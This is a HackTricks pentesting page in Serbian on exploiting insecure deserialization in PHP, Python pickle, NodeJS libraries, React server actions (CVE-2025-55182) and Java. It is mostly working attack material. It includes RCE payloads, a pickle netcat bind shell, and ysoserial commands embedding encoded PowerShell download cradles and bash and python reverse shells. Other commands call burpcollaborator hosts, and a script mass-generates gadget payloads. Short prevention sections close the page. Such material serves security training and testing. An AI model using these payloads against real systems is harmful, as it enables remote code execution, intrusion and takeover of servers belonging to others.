Deserialization
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Serialization se smatra metodom pretvaranja objekta u format koji može biti sačuvan, s namerom da se objekat ili uskladišti ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da bi se obezbedilo da objekat može biti kasnije ponovo kreiran, zadržavajući svoju strukturu i stanje.
Deserialization, naprotiv, je proces koji poništava serialization. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i njihovu rekonstrukciju nazad u objekat.
Deserialization može biti opasna jer potencijalno allows attackers to manipulate the serialized data to execute harmful code ili izazvati neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
PHP
U PHP-u se tokom procesa serialization i deserialization koriste specifični magic methods:
__sleep: Poziva se kada se objekat serializuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba da budu serialized. Obično se koristi za upis čekajućih podataka ili izvođenje sličnih zadataka čišćenja.__wakeup: Poziva se kada se objekat deserializuje. Koristi se za ponovno uspostavljanje konekcija ka bazi podataka koje su mogle biti izgubljene tokom serialization i za obavljanje drugih zadataka re-inicijalizacije.__unserialize: Ova metoda se poziva umesto__wakeup(ako postoji) kada se objekat deserializuje. Daje veću kontrolu nad deserialization procesom u poređenju sa__wakeup.__destruct: Ova metoda se poziva kada će objekat biti uništen ili kada skripta završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje file handles ili konekcija ka bazi podataka.__toString: Ova metoda dozvoljava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke zasnovane na pozivima funkcija unutar nje, efektivno pružajući tekstualnu reprezentaciju objekta.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Ako pogledate rezultate, možete videti da se funkcije __wakeup i __destruct pozivaju kada se objekat deserializuje. Imajte u vidu da ćete u nekoliko tutorijala naići na tvrdnju da se funkcija __toString poziva pri pokušaju ispisivanja nekog atributa, ali očigledno se to više ne dešava.
Warning
Metod
__unserialize(array $data)se poziva umesto__wakeup()ako je implementiran u klasi. Omogućava vam da unserijalizujete objekat pružajući serializovane podatke kao niz. Možete koristiti ovaj metod da unserijalizujete svojstva i izvršite sve potrebne radnje prilikom deserializacije.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Možete pročitati objašnjen PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i još mnogo toga:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 sintetizatori mogu biti prisiljeni da instanciraju proizvoljne gadget grafove (sa ili bez APP_KEY) kako bi dosegli Laravel Queueable/SerializableClosure sinks:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost možete:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Sprečavanje PHP Object Injection pomoću allowed_classes
[!INFO] Podrška za drugi argument
unserialize()(niz$options) uvedena je u PHP 7.0. Na starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.
unserialize() će instancirati svaku klasu koju pronađe u serijalizovanom streamu osim ako nije drugačije naznačeno. Od PHP 7 ponašanje se može ograničiti pomoću opcije allowed_classes:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Ako su allowed_classes izostavljene ili kod radi na PHP < 7.0, poziv postaje opasan jer napadač može konstruisati payload koji zloupotrebljava magic methods kao što su __wakeup() ili __destruct() da bi ostvario Remote Code Execution (RCE).
Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709
WordPress plugin Everest Forms ≤ 3.2.2 pokušao je da bude obramben koristeći pomoćni wrapper, ali je zaboravio na zastarele PHP verzije:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Na serverima koji su i dalje koristili PHP ≤ 7.0 ova druga grana je dovodila do klasičnog PHP Object Injection kada bi administrator otvorio zlonamerni unos iz forme. Minimalni exploit payload mogao bi izgledati ovako:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Čim je admin pregledao unos, objekat je instanciran i SomeClass::__destruct() je izvršen, što je rezultiralo izvršavanjem proizvoljnog koda.
Zaključci
- Uvek prosleđujte
['allowed_classes' => false](ili strogu white-list) pri pozivuunserialize(). - Revidirajte defensive wrappers – često zaboravljaju na legacy PHP grane.
- Nadogradnja na PHP ≥ 7.x sama po sebi nije dovoljna: opcija i dalje mora biti eksplicitno prosleđena.
PHPGGC (ysoserial for PHP)
PHPGGC može vam pomoći da generišete payload-e za zloupotrebu PHP deserializacija.
Imajte na umu da u nekoliko slučajeva nećete moći pronaći način da zloupotrebite deserializaciju u izvornom kodu aplikacije, ali možda ćete moći zloupotrebiti kod eksternih PHP ekstenzija.
Dakle, ako je moguće, proverite phpinfo() servera i pretražite internet (pa čak i na gadgets od PHPGGC) neki mogući gadget koji biste mogli zloupotrebiti.
phar:// deserializacija metapodataka
Ako ste našli LFI koji samo čita fajl i ne izvršava php kod unutar njega, na primer koristeći funkcije kao što su file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Možete pokušati zloupotrebiti deserializaciju koja se dešava prilikom čitanja fajla koristeći phar protokol.
Za više informacija pročitajte sledeći post:
Python
Pickle
Kada se objekat unpickle-uje, funkcija ___reduce___ će biti izvršena.
Ako se iskoristi, server može vratiti grešku.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Pre nego što proverite bypass tehniku, pokušajte da koristite print(base64.b64encode(pickle.dumps(P(),2))) da generišete objekat koji je kompatibilan sa python2 ako koristite python3.
Za više informacija o bekstvu iz pickle jails pogledajte:
Yaml & jsonpickle
Sledeća stranica prikazuje tehniku za zloupotrebu unsafe deserialization u yaml Python bibliotekama i završava alatom koji može da generiše RCE deserialization payload za Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS nema “magic” funkcije kao PHP ili Python koje će se izvršiti samo prilikom kreiranja objekta. Ali ima neke funkcije koje su često korišćene čak i bez direktnog pozivanja, kao što su toString, valueOf, toJSON.
Ako se zloupotrebi deserialization, možete kompromitovati ove funkcije da izvrše drugi kod (potencijalno abusing prototype pollutions) i na taj način izvršiti arbitrary code kada se pozovu.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Ako želite da naučite o ovoj tehnici, pogledajte sledeći tutorijal:
NodeJS - proto & prototype Pollution
node-serialize
Ova biblioteka omogućava serijalizaciju funkcija. Primer:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Serializovani objekat će izgledati ovako:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Možete videti u primeru da kada se funkcija serializuje zastavica _$$ND_FUNC$$_ se dodaje serializovanom objektu.
U fajlu node-serialize/lib/serialize.js možete pronaći istu zastavicu i kako se kod njome koristi.
.png)
.png)
Kao što možete videti u poslednjem delu koda, ako se zastavica pronađe eval se koristi za deserijalizaciju funkcije, tako da je u suštini korisnički unos se koristi unutar eval funkcije.
Međutim, samo serializovanje funkcije je neće izvršiti jer bi bilo neophodno da neki deo koda poziva y.rce u našem primeru i to je prilično malo verovatno.
U svakom slučaju, možete jednostavno modifikovati serializovani objekat dodavanjem zagrada kako bi se serializovana funkcija automatski izvršila kada se objekat deserializuje.
U narednom delu koda obratite pažnju na poslednju zagradu i kako će funkcija unserialize automatski izvršiti kod:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Kao što je ranije navedeno, ova biblioteka će preuzeti kod nakon _$$ND_FUNC$$_ i izvršiti ga koristeći eval. Dakle, da biste automatski izvršili kod, možete ukloniti deo koji kreira funkciju i poslednju zagradu i samo izvršiti jednolinijski JS kao u sledećem primeru:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here further information about how to exploit this vulnerability.
funcster
Značajan aspekt funcster je nedostupnost standardnih ugrađenih objekata; oni se nalaze izvan dostupnog opsega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što je “ReferenceError: console is not defined” kada se koriste naredbe poput console.log() ili require(something).
Uprkos ovom ograničenju, vraćanje potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguće je specifičnim pristupom. Direktnim korišćenjem globalnog konteksta može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći fragment koda:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Za more information read this source.
serialize-javascript
Paket serialize-javascript je dizajniran isključivo za potrebe serializacije i ne sadrži ugrađene mogućnosti deserializacije. Korisnici su odgovorni za implementaciju sopstvene metode deserializacije. U zvaničnom primeru se za deserializaciju serijalizovanih podataka predlaže direktna upotreba eval:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Ako se ova funkcija koristi za deserialize objekata možete easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Za more information read this source.
Cryo library
Na sledećim stranicama možete naći informacije o tome kako zloupotrebiti ovu biblioteku da biste izvršili proizvoljne komande:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) se oslanjaju na react-server-dom-webpack (RSDW) da dekodiraju server action submissions koje se šalju kao multipart/form-data. Svaki action submission sadrži:
$ACTION_REF_<n>parts that reference the action being invoked.$ACTION_<n>:<m>parts whose body is JSON such as{"id":"module-path#export","bound":[arg0,arg1,...]}.
U verziji 19.2.0 helper decodeAction(formData, serverManifest) slepo veruje i id stringu (koji bira koji module export pozvati) i bound nizu (argumenti). Ako napadač može da dođe do endpointa koji prosleđuje zahteve ka decodeAction, može da pozove bilo koju izvezenu server action sa parametrima koje kontroliše napadač čak i bez React front-enda (CVE-2025-55182). End-to-end recept je:
- Saznajte identifikator akcije. Bundle output, error traces or leaked manifests typically reveal strings like
app/server-actions#generateReport. - Recreate the multipart payload. Kreirajte
$ACTION_REF_0part i$ACTION_0:0JSON telo koje nosi identifikator i proizvoljne argumente. - Let
decodeActiondispatch it. Helper rešava modul izserverManifest, importuje export, i vraća callable koji server odmah izvršava.
Primer payload koji pogađa /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Ili pomoću curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Niz bound direktno popunjava parametre server-action. U ranjivom labu gadget izgleda ovako:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
Napadaču nikada nije potreban pravi React client—bilo koji HTTP alat koji emituje $ACTION_* multipart oblik može direktno pozvati server actions i povezati dobijeni JSON izlaz u RCE primitive.
Java - HTTP
U Java okruženju, deserialization callbacks se izvršavaju tokom procesa deserialization. Ovo izvršavanje može iskoristiti napadač koji kreira maliciozne payload-e koji pokreću ove callbacks, što može dovesti do izvršavanja štetnih radnji.
Fingerprints
White Box
Da biste identifikovali potencijalne serialization ranjivosti u kodnoj bazi, pretražite za:
- Klase koje implementiraju interfejs
Serializable. - Korišćenje
java.io.ObjectInputStream,readObject,readUnsharefunkcija.
Obratite posebnu pažnju na:
XMLDecoderkoji se koristi sa parametrima koje definišu eksterni korisnici.XStream’sfromXMLmetoda, posebno ako je XStream verzija manje ili jednaka 1.46, jer je podložan serialization problemima.ObjectInputStreamu kombinaciji sareadObjectmetodom.- Implementaciju metoda kao što su
readObject,readObjectNodData,readResolve, ilireadExternal. ObjectInputStream.readUnshared.- Opštu upotrebu
Serializable.
Black Box
Za Black Box testiranje, tražite specifične signatures ili “Magic Bytes” koji označavaju java serialized objekte (potekle iz ObjectInputStream):
- Heksadecimalni obrazac:
AC ED 00 05. - Base64 obrazac:
rO0. - HTTP response headers sa
Content-typepodešenim naapplication/x-java-serialized-object. - Heksadecimalni obrazac koji ukazuje na prethodnu kompresiju:
1F 8B 08 00. - Base64 obrazac koji ukazuje na prethodnu kompresiju:
H4sIA. - Web fajlovi sa
.facesekstenzijom i parametromfaces.ViewState. Otkrivanje ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je opisano u post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Check if vulnerable
Ako želite da learn about how does a Java Deserialized exploit work treba da pogledate Basic Java Deserialization, Java DNS Deserialization, i CommonsCollection1 Payload.
SignedObject-gated deserialization i pre-auth reachability
Modern codebases ponekad umotavaju deserialization pomoću java.security.SignedObject i validiraju signature pre poziva getObject() (koji deserializes unutrašnji objekat). Ovo sprečava arbitrary top-level gadget classes, ali i dalje može biti exploitable ako attacker može da dobije valid signature (npr. kompromitacija private-key ili signing oracle). Dodatno, error-handling flows mogu mint session-bound tokens za unauthenticated users, izlažući inače zaštićene sinks pre-auth.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Možete pokušati da check all the libraries poznate kao ranjive i za koje Ysoserial može pružiti exploit. Ili možete proveriti biblioteke označene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da tražite moguće gadget chains koje je moguće iskoristiti.
Kada pokrećete gadgetinspector (nakon build-ovanja) ignorišite gomilu upozorenja/grešaka kroz koje prolazi i pustite da završi. Upisaće sva otkrića u gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Imajte na umu da gadgetinspector won’t create an exploit and it may indicate false positives.
Black Box Test
Koristeći Burp ekstenziju gadgetprobe možete identifikovati which libraries are available (a čak i verzije). Sa tim informacijama može biti easier to choose a payload za exploit ranjivosti.
Read this to learn more about GadgetProbe.
GadgetProbe je fokusiran na ObjectInputStream deserializations.
Koristeći Burp ekstenziju Java Deserialization Scanner možete identify vulnerable libraries koje su exploitable with ysoserial i exploit ih.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner je fokusiran na ObjectInputStream deserializations.
Takođe možete koristiti Freddy da detect deserializations ranjivosti u Burp. Ovaj plugin će detektovati not only ObjectInputStream povezane ranjivosti već i ranjivosti iz Json i Yml deserialization biblioteka. U aktivnom modu pokušaće da ih potvrdi koristeći sleep ili DNS payloads.
You can find more information about Freddy here.
Serialization Test
Nije sve samo u proveri da li server koristi neku ranjivu biblioteku. Ponekad možete change the data inside the serialized object and bypass some checks (možda vam dodeli admin privilegije u webapp-u).
Ako pronađete java serialized object koji se šalje web aplikaciji, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Kada znate koje podatke šaljete biće lakše izmeniti ih i zaobići neke provere.
Exploit
ysoserial
Glavni alat za exploit Java deserializations je ysoserial (download here). Takođe možete razmotriti korišćenje ysoseral-modified koje će vam omogućiti da koristite kompleksne komande (npr. sa pipes).
Napomena: ovaj alat je focused na exploit-ovanje ObjectInputStream.
Preporučujem da start using the “URLDNS” payload pre RCE payload-a da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da “URLDNS” payload možda neće raditi, ali neki drugi RCE payload može.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Kada kreirate payload za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere kao što su “>” ili “|” za preusmeravanje izlaza izvršavanja, “$()” za izvršavanje komandi ili čak prosleđivanje argumenata komandi razdvojenih razmacima (možete uraditi echo -n "hello world" ali ne možete uraditi python2 -c 'print "Hello world"'). Da biste payload pravilno enkodovali možete use this webpage.
Slobodno koristite sledeći skript da kreirate all the possible code execution payloads za Windows i Linux i potom ih testirate na ranjivoj web stranici:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserial da kreirate više exploits. Više informacija o ovom alatu u slajdovima predavanja na kojem je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec može se koristiti za generisanje payloads-a za iskorišćavanje različitih Json i Yml biblioteka za serijalizaciju u Java.
Da bih kompajlirao projekat morao sam da dodam ove dependencies u pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instalirajte maven, i kompajlirajte projekat:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratorije
- Ako želite da testirate neke ysoserial payloads možete pokrenuti ovaj webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Zašto
Java široko koristi serijalizaciju u razne svrhe, kao što su:
- HTTP requests: Serijalizacija se široko koristi u upravljanju parametrima, ViewState, kolačićima, itd.
- RMI (Remote Method Invocation): Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, predstavlja temelj za daljsku komunikaciju u Java aplikacijama.
- RMI over HTTP: Ova metoda se često koristi u Java-based thick client web aplikacijama, pri čemu se serijalizacija koristi za svu komunikaciju objekata.
- JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.
- Custom Protocols: U Javi je uobičajena praksa prenos sirovih Java objekata, što će biti demonstrirano u narednim primerima exploit-a.
Prevencija
Transient objekti
Klasa koja implementira Serializable može označiti bilo koji objekat unutar klase kao transient ako ne treba da bude serijalizovan. Na primer:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Izbegavajte serializaciju klase koja mora da implementira Serializable
U situacijama kada određeni objekti moraju da implementiraju Serializable interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, obezbedite da ti objekti ne budu deserijalizabilni tako što ćete definisati final metodu readObject() koja dosledno baca izuzetak, kao što je prikazano dole:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Poboljšanje bezbednosti Deserialization u Java
Prilagođavanje java.io.ObjectInputStream je praktičan pristup za osiguravanje deserialization procesa. Ova metoda je pogodna kada:
- Kod za deserialization je pod vašom kontrolom.
- Klase koje se očekuju za deserialization su poznate.
Predefinišite metod resolveClass() da ograničite deserialization samo na dozvoljene klase. Ovo sprečava deserialization bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserialization samo na klasu Bicycle:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement nudi rezervno rešenje kada izmena koda nije moguća. Ova metoda se uglavnom primenjuje za blacklisting harmful classes, koristeći JVM parameter:
-javaagent:name-of-agent.jar
